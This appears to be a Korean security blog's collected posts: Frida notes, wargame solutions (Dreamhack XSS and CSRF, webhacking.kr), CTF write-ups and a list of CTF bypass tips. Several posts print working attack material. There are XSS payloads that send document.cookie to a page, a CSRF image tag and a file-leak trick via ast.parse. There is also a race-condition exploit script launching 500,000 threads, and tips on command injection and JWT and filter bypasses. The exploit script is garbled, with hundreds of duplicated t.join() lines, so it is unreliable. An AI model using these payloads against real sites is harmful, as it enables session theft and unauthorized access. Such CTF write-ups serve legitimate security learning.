Frida trace

frida-trace -i "open" -U com.android.chrome

chrome 애플리케이션 open 함수 추적

 

frida-trace -U -F -j '*!onClick'

 

MITM

https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/

 

Ref: https://youtu.be/pjEd1cHYhi8?si=IDFhh42vbwZB6YHL

csrf-1

/admin/notice_flag 엔드포인트는 내부망에서만 접근 가능

<img src=/admin/notice_flag?userid=admin>

드림핵 XSS-1

사용자가 url을 서버에 제출하면 셀레니움으로 구현된 봇이 해당 url에 접속한다.

이 때 cookie값에 FLAG가 들어있으므로 XSS로 다음과 같이 memo 파라미터로 cookie값을 넘겨주게되면 FLAG를 얻을 수 있다.

<script>
  document.location.href = `/memo?memo=${document.cookie}`;
</script>

 

드림핵 XSS-2

innerHTML로 들어간 script 태그는 실행되지 않기 때문에 img 태그로 했다.

 <img src="#" onerror="location.href='/memo?memo='+document.cookie">

'Hacking' 카테고리의 다른 글

Frida  (0) 2025.04.15
정보 보안 과제 3  (0) 2025.04.10
보안 실무 관련 주요 용어, 백엔드 보안 관련 면접 대비 용어  (0) 2025.03.13
2025 보안 트렌드와 AI 관련 이슈  (0) 2025.03.13
2024 연말정산 / 2025 계획  (0) 2024.12.17

dreamhack.io -> dev tools

개발자 도구 이용해서 디렉토리 검색하다보면 나온다.

 

webhacking.kr -> old-15

javascript disable 한 후 접근하면 FLAG를 얻을 수 있다.

 

webhacking.kr -> old-20

개발자 도구를 이용해서 captcha value를 자동으로 가져온 후, 제출하는 자바스크립트 코드를 작성하여 새로고침 시 코드를 바로 실행하면 된다.

Payload

(function() {
    lv5frm.id.value = "hi";
    lv5frm.cmt.value = "hi";
    lv5frm.captcha.value = lv5frm.captcha_.value;
    lv5frm.submit()
})()

 

webhacking.kr -> old-23

poc

https://webhacking.kr/challenge/bonus-3/index.php?code=%3C%00s%00c%00r%00i%00p%00t%3Ea%00l%00e%00r%00t(%001%00);%3C%00/%00s%00c%00r%00i%00p%00t%3E

'Hacking > Web' 카테고리의 다른 글

[LG U+ Security Hackathon FINAL] page  (0) 2024.12.06

정보보안 3원칙

기밀성, 무결성, 가용성

'Hacking' 카테고리의 다른 글

Frida  (0) 2025.04.15
정보 보안 과제 3  (0) 2025.04.10
정보보안 수업 과제용2  (0) 2025.04.10
2025 보안 트렌드와 AI 관련 이슈  (0) 2025.03.13
2024 연말정산 / 2025 계획  (0) 2024.12.17

공급망 보안

오늘날 사용하는 대부분의 소프트웨어는 개발자나 조직이 만든 오픈소스와 서드파티 구성 요소에 의존한다.
오픈소스와 같은 외부코드에 의존하면 개발주기가 빨라지지만 오픈소스에서 파급력이 큰 취약점이 발견될시 해당 오픈소스를 사용하는 소프트웨어에도 큰 영향을 미친다. 이처럼 공급망 공격은 소프트웨어 개발 공급망의 취약성을 표적으로 삼아 악성코드나 멀웨어를 소프트웨어에 삽입할 때 발생한다.

 

작성 예정..

 

Reference

- https://m.boannews.com/html/detail.html?idx=135363

'Hacking' 카테고리의 다른 글

Frida  (0) 2025.04.15
정보 보안 과제 3  (0) 2025.04.10
정보보안 수업 과제용2  (0) 2025.04.10
보안 실무 관련 주요 용어, 백엔드 보안 관련 면접 대비 용어  (0) 2025.03.13
2024 연말정산 / 2025 계획  (0) 2024.12.17

Online Python Editor

# app.py
import ast
import traceback
from flask import Flask, render_template, request

app = Flask(__name__)

@app.get("/")
def home():
    return render_template("index.html")

@app.post("/check")
def check():
    try:
        ast.parse(**request.json)
        return {"status": True, "error": None}
    except Exception:
        return {"status": False, "error": traceback.format_exc()}
        
if __name__ == '__main__':
    app.run(debug=True)

 

# secret.py
def main():
    print("Here's the flag: ")
    print(FLAG) 
    
FLAG = "TRX{fake_flag_for_testing}"

main()

 

ast.parse 함수에 filename에 secret.py를 넘겨서, FLAG를 유출할 수 있다.

https://docs.python.org/3/library/ast.html#ast.parse

{
  "source": "\n\n\n\n\nprint(",
  "filename": "secret.py"
}

 

'Hacking > CTF' 카테고리의 다른 글

srdnlen CTF 2025 Write Up  (0) 2025.01.20
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

Korean

어제 새벽부터 srdnlen CTF에 참가했다. 초반에 문제 난이도를 보고 "이거 잘하면 본선에 갈 수도 있겠다!"라는 생각을 했지만 어림도 없었다.

최종 순위를 29등으로 마무리했다. 아쉽지만 공부는 계속해야 한다. 웹 문제 4개 중 풀지 못한 한 문제에 대해 Write-up을 정리해보려고 한다.

 

Average HTTP/3 Enjoyer

HTTP/3 관련 문제로 Haproxy의 ACL 설정 때문에 /flag 경로에 접근이 차단되는 상황이었다. HTTP/3의 특성을 이용해 이를 우회할 수 있었다. 처음에는 Haproxy 0-day 취약점이라고 착각했을 정도로 정말 어려운 문제였다.

https://www.rfc-editor.org/rfc/rfc9114.html#name-request-pseudo-header-field

 

RFC 9114: HTTP/3

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they

www.rfc-editor.org

 

원래는 위 문제만 따로 작성하려고 했는데, 나머지도 함께 정리해보려고 한다.

Focus. Speed. I am speed.

// Apply the gift card value to the user's balance
const { Balance } = await User.findById(req.user.userId).select('Balance');
user.Balance = Balance + discount.value;
// Introduce a slight delay to ensure proper logging of the transaction 
// and prevent potential database write collisions in high-load scenarios.
new Promise(resolve => setTimeout(resolve, delay * 1000));
user.lastVoucherRedemption = today;
await user.save();

위 소스코드는 쿠폰 등록 로직 중 일부인데, 딜레이를 처리하는 부분에서 Race Condition이 발생할 가능성이 있다고 판단했다.

// Now handle the DiscountCode (Gift Card)
let { discountCode } = req.query;

if (!discountCode) {
    return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
}

const discount = await DiscountCodes.findOne({discountCode})

if (!discount) {
    return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
}

추가로 쿠폰을 검색하는 과정에서 Nosql Injection이 발생한다.

 

PoC

import requests
import threading

def register_user(username, password):
    """
    회원가입 후, 응답 헤더/쿠키에서 JWT 쿠키를 파싱해 반환
    """
    url = "http://speed.challs.srdnlen.it:8082/register-user"
    
    # 보통 'application/json' 형태를 받을 수도 있지만,
    # 실제 서버 상황에 따라 bodyParser가 json인지 urlencoded인지 맞춰야 함
    # 여기서는 urlencoded로 전송한다고 가정
    data = {
        "username": username,
        "password": password
    }
    
    print("[*] Trying to register user...")
    response = requests.post(url, json=data)
    
    # 회원가입 결과 출력(디버그 목적)
    print("[*] Registration response:", response.text)
    
    # 쿠키 중 'jwt' 값이 있는지 확인
    if 'jwt' in response.cookies:
        session_cookie = response.cookies.get('jwt')
        print(f"[+] Registration success. JWT Cookie: {session_cookie}")
        return session_cookie
    else:
        print("[!] JWT cookie not found in response. Check if registration was successful.")
        return None


def exploit_race(session_cookie, discount_code, num_threads=10):
    """
    Race condition exploit for gift card redemption
    """
    url = "http://speed.challs.srdnlen.it:8082/redeem"
    cookies = {"jwt": session_cookie}
    params = {"discountCode": discount_code}
    
    def make_request():
        try:
            response = requests.get(url, params=params, cookies=cookies, timeout=5)
            # /redeem 라우트가 render('error')를 호출하면 HTML 반환도 가능하니, 상황에 맞게 확인
            if response.status_code == 200:
                # res.json()으로 응답했을 경우
                # 혹은 response.text 등을 직접 확인할 수도 있음
                try:
                    print(f"[Thread] Response JSON: {response.json()}")
                except:
                    print(f"[Thread] Response Text: {response.text[:200]}")
            else:
                print(f"[Thread] HTTP {response.status_code} - {response.text[:200]}")
        except Exception as e:
            print(f"[Thread] Error: {e}")
    
    print(f"[*] Starting {num_threads} threads for race condition exploit...")
    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=make_request)
        threads.append(t)
        t.start()
    
    # 모든 쓰레드가 끝날 때까지 대기
    for t in threads:
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()

        t.join()
        t.join()

    print("[*] Race condition exploit finished.")


if __name__ == "__main__":
    """
    사용 예시:
    1) python exploit.py (직접 수정 필요)
    - 아래 변수를 원하는 대로 조정:
      USERNAME, PASSWORD, DISCOUNT_CODE, NUM_THREADS
    """
    
    USERNAME = "tasdfsdfsdfssdfdsffdsffsdfdsdsfdsdadfaf"
    PASSWORD = "p455w0rd"
    DISCOUNT_CODE = "69JT0DQHHBIR"  # 실제 사용하려는 코드
    NUM_THREADS = 500000      # 병렬 요청 개수
    
    # 1) 회원가입 -> JWT 쿠키 획득
    jwt_cookie = register_user(USERNAME, PASSWORD)
    
    if jwt_cookie:
        # 2) 레이스 컨디션 익스플로잇 시도
        exploit_race(jwt_cookie, DISCOUNT_CODE, NUM_THREADS)
    else:
        print("[!] Cannot proceed with race exploit, no JWT cookie acquired.")

 

English

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

1. 특히 Node.js에서 bodyParser.json()이 활성화되어있는 경우, 배열을 잘 활용하는 것이 중요하다.
코드에서 includes 함수, length 함수를 사용하면 배열을 통해 Bypass 할 수 있다. Example) indexOf

 

2. 템플릿 관련 문제를 풀 때, 렌더링 할 때 특정 문자열을 필터링하는 경우, 반복문을 이용해서 모든 객체를 출력하는 등의 방법으로 풀 수 있다. Ex) LineCTF 2021 babysandbox 

 

Ref: https://handlebarsjs.com/examples/builtin-helper-each-block.html 

 

Handlebars

 

handlebarsjs.com

 

3. Node.js 소스코드에서 parseFloat 함수 등을 사용하는 경우, parseFloat issue를 고려하자.. 
Ref: Dreamhack Self-deception Ex) parseFloat(1 - 0.9999999) => 9.999999994736442e-8 이 때 parseInt로 변경하면 9가 된다.

 

4. Nginx, Haproxy 등에서 Endpoint 검증할 때 대소문자 등 다양한 방법으로 우회 시도 

 

5. Hs256 to Rs256 public key 엔터 여부 등등 여러요소 고려

 

6. IPv4, IPv6 등 IP 주소를 입력할 수 있는 곳이 있다면 IPv6 Scope Id를 이용하여 Comand Injection과 같으 공격 수행 가능

 

7. toLowerCase(), toUpperCase() bypass with unicode

 

8. Python에서 SSRF 취약점 방지를 위한 PORT 검사를 할 때, 0으로 bypass 하고 iptables를 이용하여 80포트로 리다이렉션되게 할 수 있다.

 

9. Script load 하는 부분에서 Relative Path Overwrite 확인

<script src="/app/main.js"></script>
<script src="app/main.js"></script>

 

10. 특히 XSS 할 때, '+' 특수문자 인코딩 주의

 

11. Nginx filter bypass
Ref: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/nginx.html?highlight=nginx#nginx

 

12. non-printable ASCII character(0x00-0x1F and 0x7F-0xFF) - dreamboard

 

13. https://github.com/synacktiv/php_filter_chain_generator

 

GitHub - synacktiv/php_filter_chain_generator

Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.

github.com

14. hash_file, file, file_get_contents 등 함수를 사용할 때 php filter chain

 
 

 

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
srdnlen CTF 2025 Write Up  (0) 2025.01.20
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

+ Recent posts